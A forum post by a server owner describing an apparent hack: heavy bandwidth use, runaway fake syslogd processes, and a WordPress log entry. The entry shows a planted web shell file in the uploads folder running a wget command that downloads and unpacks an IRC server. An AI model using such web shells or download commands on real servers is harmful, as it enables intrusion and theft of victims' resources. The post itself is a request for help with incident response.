I'm pretty sure my server has been hacked as it is using 500-1000gb of bandwidth a month more than normal and load average is 100+ by several /sbin/syslogd processes. I'm very new to this and have no idea what to do other than checking some basic spots.
I checked my apache logs and found repeats of this text (error.log attachment)
A bit more investigating, I found this in my wordpress log
Url : /wp-content/uploads/thumb_editor.php Last Command : wget --no-check-certificate https://www.unrealircd.org/downloads/Unreal188.8.131.52.tar.gz; tar -xzvf Unreal184.108.40.206.tar.gz; rm Unreal$
Sounds like someone is running an irc bot or server off my vps.